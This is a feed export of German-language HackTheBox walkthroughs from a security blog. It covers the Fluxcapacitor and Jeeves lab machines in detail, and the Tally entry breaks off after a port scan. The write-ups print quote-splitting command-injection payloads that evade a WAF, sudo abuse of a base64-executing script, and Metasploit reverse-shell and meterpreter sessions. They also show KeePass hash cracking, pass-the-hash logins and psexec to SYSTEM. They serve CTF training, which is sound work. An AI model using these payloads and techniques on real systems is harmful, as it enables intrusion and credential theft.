[su_spoiler title=&amp;ldquo;Tipp 4&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;fancy&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]
[/su_spoiler]
[su_spoiler title=&amp;ldquo;Tipp 5&amp;rdquo; open=&amp;ldquo;no&amp;rdquo; style=&amp;ldquo;fancy&amp;rdquo; icon=&amp;ldquo;plus&amp;rdquo; anchor=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot;]</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<h1 id="hackthebox--fluxcapacitor-writeup--tipps--anleitung--htb">HackTheBox – Fluxcapacitor WriteUp | Tipps + Anleitung | htb</h1>
<p><a href="https://www.hackthebox.eu/home/machines/profile/119">Fluxcapacitor</a> ist eine der vielen Verfügbaren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/119">Fluxcapacitor</a> ist eine leichte bis mittelschwere Maschine von <a href="https://hackthebox.eu/">HackTheBox</a>.</p>
<p><img alt="difficulty" src="https://imgur.com/RxixV0o.jpg"></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<p>[su_spoiler title=&ldquo;Tipp 1&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 2&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 3&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 4&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Tipp 5&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>[/su_spoiler]</p>
<h2 id="video"><strong>Video</strong></h2>
<p>[su_spoiler title=&ldquo;Kurzes Video Walkthrough ohne Erklärungen&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<!-- raw HTML omitted -->
<p>[/su_spoiler]</p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>[su_spoiler title=&ldquo;Schritt 1&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Beginnen wir wie gewohnt mit einem Nmap-Scan um herauszufinden welche Ports offen sind. Dabei können wir das Argument <strong>-sV</strong> benutzen, um uns die genaue Bezeichnung und die Version der Service anzeigen zu lassen.</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>Auf Port 80 läuft ein Webserver. Allerdings steht bei der Version nur <strong>SuperWAF</strong>. <a href="https://de.wikipedia.org/wiki/Web_Application_Firewall">WAF</a> steht für Web Application Firewall und ist unter dafür da um Webanwendungen vor Angriffen wie z.B. SQL Injection, XSS, Parameter Tampering oder Command Injection zu schützen.</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Schritt 2&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Sehen wir uns doch mal an was sich auf dem Webserver befindet.</p>
<p><img alt="website" src="https://imgur.com/w2vNpK6.jpg"></p>
<p>Nichts interessantes hier, wie sieht es mit dem Seitenquelltext (Strg + U) aus?</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>&ndash;&gt;</p>
<!-- raw HTML omitted -->
<p>Ein Verweis auf die Url <strong>/sync</strong>.</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Schritt 3&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Wenn wir <strong>http://10.10.10.69/sync</strong> besuchen, bekommen wir die Rückmeldung <strong>443 - Access Forbidden</strong>.<br>
Wahrscheinlich verhindert die WAF, dass wir auf die Seite zugreifen können.</p>
<p>Können wir mit <strong>curl</strong> darauf zugreifen?</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>Mit <strong>curl</strong> funktioniert es. Wir bekommen Datum und Uhrzeit zurück.</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Schritt 4&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Warum uns der Zugriff verwehrt wird, wenn wir einen Internet-Browser benutzen, aber nicht wenn wir curl benutzen, kann mehrere Gründe haben.<br>
Darüber können wir uns aber später kümmern.</p>
<p>Vielleicht können wir /sync einen Parameter übergeben und dies ausnutzen um z.B. Code auszuführen (Command Injection).<br>
Um mögliche Parameter herauszufinden, können wir einen Fuzzer wie z.B. <strong>wfuzz</strong> benutzen.<br>
Wfuzz kannst du ganz einfach mit <strong>apt install wfuzz</strong> installieren.</p>
<p><strong>-c</strong> sorgt dafür, dass wir einen farbigen output bekommen.<br>
Mit <strong>-t</strong> können wir angeben wie viele gleichzeitige Verbindungen hergestellt werden sollen<br>
<strong>FUZZ</strong> wird durch die Begriffe aus der Wörterliste ersetzt.</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>Die Standard-Antwort für ungültige Parameter scheint 19 Zeichen lang zu sein. Mit Hilfe von <strong>&ndash;hh 19</strong> können wir alle Wörter nicht anzeigen lassen, welche zu einer 19 Zeichen langen Antwort führen.</p>
<p>Lassen wir wfuzz jetzt nochmal starten.</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>Ein Parameter wurde gefunden, welcher eine 175 Zeichen lange Antwort hervorgerufen hat.</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Schritt 5&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>Jetzt wo wir einen gültigen Parameter wissen, den wir übergeben können, können wir Command Injection ausprobieren.</p>
<p>Ich werde dafür Burp benutzen, man kann dafür aber auch z.B. Curl benutzen (curl &ldquo;http://10.10.10.69/sync?opt=BEFEHL&rdquo;).</p>
<p>Wenn wir Burp geöffnet haben, können wir http://10.10.10.69/sync?opt= im Browser öffnen. Burp wird diese Anfrage abfangen. Wenn wir Rechtsklick darauf machen können wir **Send to Repeater **auswählen oder einfach <strong>Strg + R</strong> drücken.</p>
<p>Dann können wir zu dem Repeater Tab öffnen und dort die Anfrage bearbeiten und immer wieder absenden. Rechts sehen wir dann die Antwort.</p>
<p>Wenn wir <strong>/sync?opt=ls</strong> probieren, bekommen wir wieder nur <strong>403 Forbidden</strong> zurück. Die WAF hat wahrscheinlich unseren Versuch einen Befehl auszuführen erkannt und verhindert diesen.</p>
<p>[/su_spoiler]</p>
<p>[su_spoiler title=&ldquo;Schritt 6&rdquo; open=&ldquo;no&rdquo; style=&ldquo;fancy&rdquo; icon=&ldquo;plus&rdquo; anchor=&quot;&quot; class=&quot;&quot;]</p>
<p>TheMiddle, der Ersteller von FluxCapacitor, hat zwei Artikel in denen er Techniken zur Umgehung der WAF erklärt (<strong>WAF Evasion Techniques</strong>). Der erste Artikel ist <a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8">hier</a> und der zweite <a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0">hier</a>.</p>
<p>/sync?opt=&rsquo; l&rsquo;s'</p>
<p>[&hellip;]<br>
home<br>
[&hellip;]<br>
root<br>
[&hellip;]</p>
<p>/sync?opt=&rsquo; l&rsquo;s&rsquo; /home'</p>
<p>FluxCapacitorInc<br>
themiddle</p>
<p>/sync?opt=&rsquo; l&rsquo;s&rsquo; /home/FluxCapacitorInc'</p>
<p>403 Forbidden</p>
<p>/sync?opt=&rsquo; l&rsquo;s&rsquo; /home/F???Capacitor???'</p>
<p>user.txt</p>
<p>/sync?opt=&rsquo; c&rsquo;a&rsquo;t /home/F???Capacitor???/u???.txt'</p>
<p>b8b 7bc</p>
<p>/sync?opt=&rsquo; s&rsquo;ud&rsquo;o -l'</p>
<p>[&hellip;]</p>
<p>User nobody may run the following commands on fluxcapacitor:<br>
(ALL) ALL<br>
(root) NOPASSWD: /home/themiddle/.monit</p>
<p>/sync?opt=&rsquo; c&rsquo;a&rsquo;t /home/themiddle/.monit'</p>
<p>#!/bin/bash</p>
<p>if [ &ldquo;$1&rdquo; == &ldquo;cmd&rdquo; ]; then</p>
<p>echo &ldquo;Trying to execute ${2}&rdquo;<br>
CMD=$(echo -n ${2} | base64 -d)<br>
bash -c &ldquo;$CMD&rdquo;<br>
fi</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>/sync?opt=&rsquo; &rsquo;s&rsquo;ud&rsquo;o&rsquo; /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='</p>
<p>Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg==<br>
bdc 30e</p>
]]></content></item><item><title>HackTheBox Jeeves</title><link>https://m10x.de/posts/2010/01/hackthebox-jeeves/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-jeeves/</guid><description>root@kali:~/htb/jeeves# nmap -p- 10.10.10.63 [19/19]
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 19:02 CEST
Nmap scan report for 10.10.10.63
Host is up (0.078s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Nmap done: 1 IP address (1 host up) scanned in 372.85 seconds
root@kali:~/htb/jeeves# nmap -p80,135,445,50000 -A 10.10.10.63
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 19:10 CEST</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p><img alt="5jenkins" src="https://imgur.com/lZBhQ23.jpg"></p>
<p>root@kali:~/htb/jeeves# nmap -p- 10.10.10.63 [19/19]<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-05-17 19:02 CEST<br>
Nmap scan report for 10.10.10.63<br>
Host is up (0.078s latency).<br>
Not shown: 65531 filtered ports<br>
PORT STATE SERVICE<br>
80/tcp open http<br>
135/tcp open msrpc<br>
445/tcp open microsoft-ds<br>
50000/tcp open ibm-db2</p>
<p>Nmap done: 1 IP address (1 host up) scanned in 372.85 seconds<br>
root@kali:~/htb/jeeves# nmap -p80,135,445,50000 -A 10.10.10.63<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-05-17 19:10 CEST<br>
Nmap scan report for 10.10.10.63<br>
Host is up (0.11s latency).</p>
<p>PORT STATE SERVICE VERSION<br>
80/tcp filtered http<br>
135/tcp open msrpc Microsoft Windows RPC<br>
445/tcp filtered microsoft-ds<br>
50000/tcp open http Jetty 9.4.z-SNAPSHOT<br>
|_http-server-header: Jetty(9.4.z-SNAPSHOT)<br>
|_http-title: Error 404 Not Found<br>
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>
Device type: general purpose<br>
Running (JUST GUESSING): Microsoft Windows 2008 (89%), FreeBSD 6.X (85%)<br>
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:freebsd:freebsd:6.2<br>
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), FreeBSD 6.2-RELEASE (85%)<br>
No exact OS matches for host (test conditions non-ideal).<br>
Network Distance: 2 hops<br>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</p>
<p>TRACEROUTE (using port 135/tcp)<br>
HOP RTT ADDRESS<br>
1 65.52 ms 10.10.14.1<br>
2 273.84 ms 10.10.10.63</p>
<p>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 20.89 seconds</p>
<p>root@kali:~/htb/jeeves# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -u http://10.10.10.63:50000</p>
<h1 id="gobuster-v141-oj-reeves-thecolonial">Gobuster v1.4.1 OJ Reeves (@TheColonial)</h1>
<h1 id="-status-codes--200204301302307">=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.63:50000/<br>
[+] Threads : 50<br>
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt<br>
[+] Status codes : 200,204,301,302,307</h1>
<p>/askjeeves (Status: 302)</p>
<p><img alt="1jenkins" src="https://imgur.com/SEgHp6t.jpg"></p>
<p><img alt="2jenkins" src="https://imgur.com/NRLrVP3.jpg"></p>
<p><img alt="3jenkins" src="https://imgur.com/JFZAihz.jpg"></p>
<p>msf &gt; use exploit/multi/handler<br>
msf exploit(multi/handler) &gt; set lhost 10.10.14.206<br>
lhost =&gt; 10.10.14.206<br>
msf exploit(multi/handler) &gt; set lport 44544<br>
lport =&gt; 44544<br>
msf exploit(multi/handler) &gt; set payload windows/x64/shell/reverse_tcp<br>
payload =&gt; windows/x64/shell/reverse_tcp<br>
msf exploit(multi/handler) &gt; clear<br>
[*] exec: clear</p>
<p>msf exploit(multi/handler) &gt; exploit</p>
<p>[<em>] Started reverse TCP handler on 10.10.14.206:44544<br>
[</em>] Sending stage (336 bytes) to 10.10.10.63<br>
[*] Command shell session 5 opened (10.10.14.206:44544 -&gt; 10.10.10.63:49694) at 2018-05-17 20:21:01 +0200</p>
<p>Microsoft Windows [Version 10.0.10586]<br>
(c) 2015 Microsoft Corporation. All rights reserved.</p>
<p>C:\Users\Administrator.jenkins&gt;More?<br>
More?</p>
<p>&lsquo;PuGroj&rsquo; is not recognized as an internal or external command,<br>
operable program or batch file.</p>
<p>C:\Users\Administrator.jenkins&gt;^Z<br>
Background session 5? [y/N] y<br>
msf exploit(multi/handler) &gt; sessions -u 5<br>
[*] Executing &lsquo;post/multi/manage/shell_to_meterpreter&rsquo; on session(s): [5]</p>
<p>[<em>] Upgrading session ID: 5<br>
[</em>] Starting exploit/multi/handler<br>
[<em>] Started reverse TCP handler on 10.10.14.206:4433<br>
#&lt;Thread:0x000056306eca6008@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run&gt; terminated with exception (report_on_exception is true):<br>
Traceback (most recent call last):<br>
1: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb&#x1f4af;in <code>block in spawn'   /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:268:in </code>block in cleanup_handler&rsquo;: uninitialized constant Msf::Modules::Mod706f73742f6d756c74692f6d616e6167652f7368656c6c5f746f5f<br>
6d65746572707265746572::MetasploitModule::HANDLE_TIMEOUT (NameError)<br>
msf exploit(multi/handler) &gt;<br>
[</em>] Sending stage (179779 bytes) to 10.10.10.63<br>
[<em>] Meterpreter session 6 opened (10.10.14.206:4433 -&gt; 10.10.10.63:49695) at 2018-05-17 20:21:31 +0200<br>
Interrupt: use the &rsquo;exit&rsquo; command to quit<br>
msf exploit(multi/handler) &gt; sessions -i 6<br>
[</em>] Starting interaction with 6&hellip;</p>
<p>meterpreter &gt; getuid<br>
Server username: JEEVES\kohsuke</p>
<h1 id="listing-cuserskohsuke">meterpreter &gt; cd C:/Users/kohsuke<br>
meterpreter &gt; ls<br>
Listing: C:\Users\kohsuke</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>40777/rwxrwxrwx 0 dir 2017-11-04 03:51:45 +0100 .groovy<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 AppData<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Application Data<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Contacts<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Cookies<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:19:59 +0100 Desktop<br>
40555/r-xr-xr-x 4096 dir 2017-11-04 04:18:57 +0100 Documents<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Downloads<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Favorites<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:22:42 +0100 Links<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Local Settings<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Music<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Documents<br>
100666/rw-rw-rw- 786432 fil 2017-12-24 20:38:40 +0100 NTUSER.DAT<br>
100666/rw-rw-rw- 65536 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf<br>
100666/rw-rw-rw- 524288 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms<br>
100666/rw-rw-rw- 524288 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 NetHood<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:22:42 +0100 OneDrive<br>
40555/r-xr-xr-x 0 dir 2017-11-04 08:10:02 +0100 Pictures<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 PrintHood<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Recent<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Saved Games<br>
40555/r-xr-xr-x 4096 dir 2017-11-04 04:16:35 +0100 Searches<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 SendTo<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Start Menu<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Templates<br>
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Videos<br>
100666/rw-rw-rw- 81920 fil 2017-11-04 03:50:40 +0100 ntuser.dat.LOG1<br>
100666/rw-rw-rw- 163840 fil 2017-11-04 03:50:40 +0100 ntuser.dat.LOG2<br>
100666/rw-rw-rw- 20 fil 2017-11-04 03:50:40 +0100 ntuser.ini</p>
<h1 id="listing-cuserskohsukedesktop">meterpreter &gt; cd Desktop<br>
meterpreter &gt; ls<br>
Listing: C:\Users\kohsuke\Desktop</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>100666/rw-rw-rw- 282 fil 2017-11-04 04:15:51 +0100 desktop.ini<br>
100444/r&ndash;r&ndash;r&ndash; 32 fil 2017-11-04 04:22:51 +0100 user.txt</p>
<p>meterpreter &gt; cd ..<br>
meterpreter &gt; cd Documents</p>
<h1 id="listing-cuserskohsukedocuments">meterpreter &gt; ls<br>
Listing: C:\Users\kohsuke\Documents</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>100666/rw-rw-rw- 2846 fil 2017-09-18 19:43:17 +0200 CEH.kdbx<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Music<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Pictures<br>
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Videos<br>
100666/rw-rw-rw- 402 fil 2017-11-04 04:15:51 +0100 desktop.ini</p>
<p>meterpreter &gt; download CEH.kdbx<br>
[<em>] Downloading: CEH.kdbx -&gt; CEH.kdbx<br>
[</em>] Downloaded 2.78 KiB of 2.78 KiB (100.0%): CEH.kdbx -&gt; CEH.kdbx<br>
[*] download : CEH.kdbx -&gt; CEH.kdbx</p>
<p>root@kali:<del>/htb/jeeves# ls<br>
CEH.kdbx<br>
root@kali:</del>/htb/jeeves# keepass2john CEH.kdbx &gt; hash<br>
root@kali:<del>/htb/jeeves# john &ndash;format=KeePass &ndash;wordlist=/usr/share/wordlists/rockyou.txt hash<br>
Using default input encoding: UTF-8<br>
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])<br>
Press &lsquo;q&rsquo; or Ctrl-C to abort, almost any other key for status<br>
moonshine1 (CEH)<br>
1g 0:00:00:52 DONE (2018-05-17 20:25) 0.01922g/s 1057p/s 1057c/s 1057C/s moonshine1<br>
Use the &ldquo;&ndash;show&rdquo; option to display all of the cracked passwords reliably<br>
Session completed<br>
root@kali:</del>/htb/jeeves# keepass2 CEH.kdbx</p>
<p><img alt="4jenkins" src="https://imgur.com/sjSlTdI.jpg"></p>
<p>root@kali:~/htb/jeeves# smbclient.py <a href="mailto:administrator@10.10.10.63">administrator@10.10.10.63</a> -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00<br>
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies</p>
<p>Type help for list of commands</p>
<h1 id="help">help</h1>
<p>open {host,port=445} - opens a SMB connection against the target host/port<br>
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it&rsquo;ll be prompted<br>
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it&rsquo;ll be prompted. Use the DNS resolvable domain name<br>
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes<br>
logoff - logs off<br>
shares - list available shares<br>
use {sharename} - connect to an specific share<br>
cd {path} - changes the current directory to {path}<br>
lcd {path} - changes the current local directory to {path}<br>
pwd - shows current remote directory<br>
password - changes the user password, the new password will be prompted for input<br>
ls {wildcard} - lists all the files in the current directory<br>
rm {file} - removes the selected file<br>
mkdir {dirname} - creates the directory under the current path<br>
rmdir {dirname} - removes the directory under the current path<br>
put {filename} - uploads the filename into the current path<br>
get {filename} - downloads the filename from the current path<br>
info - returns NetrServerInfo main results<br>
who - returns the sessions currently connected at the target host (admin required)<br>
close - closes the current SMB Session<br>
exit - terminates the server process (and this session)</p>
<h1 id="who">who</h1>
<p>host: \10.10.14.229, user: ADMINISTRATOR, active: 30, idle: 26<br>
host: \10.10.14.229, user: ADMINISTRATOR, active: 28, idle: 28<br>
host: \10.10.14.206, user: administrator, active: 21, idle: 0</p>
<h1 id="password">password</h1>
<p>New Password:</p>
<p>msf &gt; use exploit/windows/smb/psexec<br>
msf exploit(windows/smb/psexec) &gt; show options</p>
<p>Module options (exploit/windows/smb/psexec):</p>
<p>Name Current Setting Required Description</p>
<hr>
<p>RHOST yes The target address<br>
RPORT 445 yes The SMB service port (TCP)<br>
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing<br>
SERVICE_DISPLAY_NAME no The service display name<br>
SERVICE_NAME no The service name<br>
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,&hellip;) or a normal read/write folder share<br>
SMBDomain . no The Windows domain to use for authentication<br>
SMBPass no The password for the specified username<br>
SMBUser no The username to authenticate as</p>
<p>Exploit target:</p>
<p>Id Name</p>
<hr>
<p>0 Automatic</p>
<p>msf exploit(windows/smb/psexec) &gt; set RHOST 10.10.10.63<br>
RHOST =&gt; 10.10.10.63<br>
msf exploit(windows/smb/psexec) &gt; set smbpass 123456<br>
smbpass =&gt; 123456<br>
msf exploit(windows/smb/psexec) &gt; set smbuser administrator<br>
smbuser =&gt; administrator<br>
msf exploit(windows/smb/psexec) &gt; exploit</p>
<p>[<em>] Started reverse TCP handler on 10.10.14.206:4444<br>
[</em>] 10.10.10.63:445 - Connecting to the server&hellip;<br>
[<em>] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user &lsquo;administrator&rsquo;&hellip;<br>
[</em>] 10.10.10.63:445 - Selecting PowerShell target<br>
[<em>] 10.10.10.63:445 - Executing the payload&hellip;<br>
[+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable&hellip;<br>
[</em>] Sending stage (179779 bytes) to 10.10.10.63<br>
[*] Meterpreter session 1 opened (10.10.14.206:4444 -&gt; 10.10.10.63:49672) at 2018-05-17 21:14:07 +0200</p>
<h1 id="listing-cusersadministratordesktop">meterpreter &gt; getuid<br>
Server username: NT AUTHORITY\SYSTEM<br>
meterpreter &gt; cd C:/Users/Administrator/Desktop<br>
meterpreter &gt; ls<br>
[-] Unknown command: ls.<br>
meterpreter &gt; ls<br>
Listing: C:\Users\Administrator\Desktop</h1>
<p>Mode Size Type Last modified Name</p>
<hr>
<p>100666/rw-rw-rw- 797 fil 2017-11-08 15:05:18 +0100 Windows 10 Update Assistant.lnk<br>
100666/rw-rw-rw- 282 fil 2017-11-04 03:03:17 +0100 desktop.ini<br>
100444/r&ndash;r&ndash;r&ndash; 36 fil 2017-12-24 08:51:10 +0100 hm.txt</p>
<p>meterpreter &gt; cat hm.txt<br>
The flag is elsewhere. Look deeper.</p>
<p>C:\Users\Administrator\Desktop&gt;more &lt; hm.txt:root.txt<br>
more &lt; hm.txt:root.txt<br>
afbc5bd4b615a60648cec41c6ac92530</p>
]]></content></item><item><title>HackTheBox Tally</title><link>https://m10x.de/posts/2010/01/hackthebox-tally/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-tally/</guid><description>root@kali:~# nmap -A 10.10.10.59
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-14 18:55 EDT
Nmap scan report for 10.10.10.59
Host is up (0.097s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|http-title: Bad Request
135/tcp open msrpc Microsoft Windows RPC</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p><img alt="10tally" src="https://imgur.com/ZfufjmG.jpg"></p>
<p>root@kali:~# nmap -A 10.10.10.59<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-05-14 18:55 EDT<br>
Nmap scan report for 10.10.10.59<br>
Host is up (0.097s latency).<br>
Not shown: 992 closed ports<br>
PORT STATE SERVICE VERSION<br>
21/tcp open ftp Microsoft ftpd<br>
| ftp-syst:<br>
|_ SYST: Windows_NT<br>
80/tcp open http Microsoft IIS httpd 10.0<br>
81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>
|_http-server-header: Microsoft-HTTPAPI/2.0<br>
|<em>http-title: Bad Request<br>
135/tcp open msrpc Microsoft Windows RPC<br>
139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds<br>
808/tcp open ccproxy-http?<br>
1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM<br>
| ms-sql-ntlm-info:<br>
| Target_Name: TALLY<br>
| NetBIOS_Domain_Name: TALLY<br>
| NetBIOS_Computer_Name: TALLY<br>
| DNS_Domain_Name: TALLY<br>
| DNS_Computer_Name: TALLY<br>
|</em> Product_Version: 10.0.14393<br>
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>
| Not valid before: 2018-05-14T04:07:20<br>
|_Not valid after: 2048-05-14T04:07:20<br>
|_ssl-date: 2018-05-14T22:56:38+00:00; -3s from scanner time.</p>
<p>Host script results:<br>
|<em>clock-skew: mean: 0s, deviation: 1s, median: 0s<br>
| ms-sql-info:<br>
| 10.10.10.59:1433:<br>
| Version:<br>
| name: Microsoft SQL Server 2016 RTM<br>
| number: 13.00.1601.00<br>
| Product: Microsoft SQL Server 2016<br>
| Service pack level: RTM<br>
| Post-SP patches applied: false<br>
|</em> TCP port: 1433<br>
| smb-security-mode:<br>
| account_used: guest<br>
| authentication_level: user<br>
| challenge_response: supported<br>
|_ message_signing: disabled (dangerous, but default)<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled but not required<br>
| smb2-time:<br>
| date: 2018-05-14 18:56:40<br>
|_ start_date: 2018-05-14 00:06:48</p>
<p>http://10.10.10.59/_layouts/15/start.aspx#/default.aspx</p>
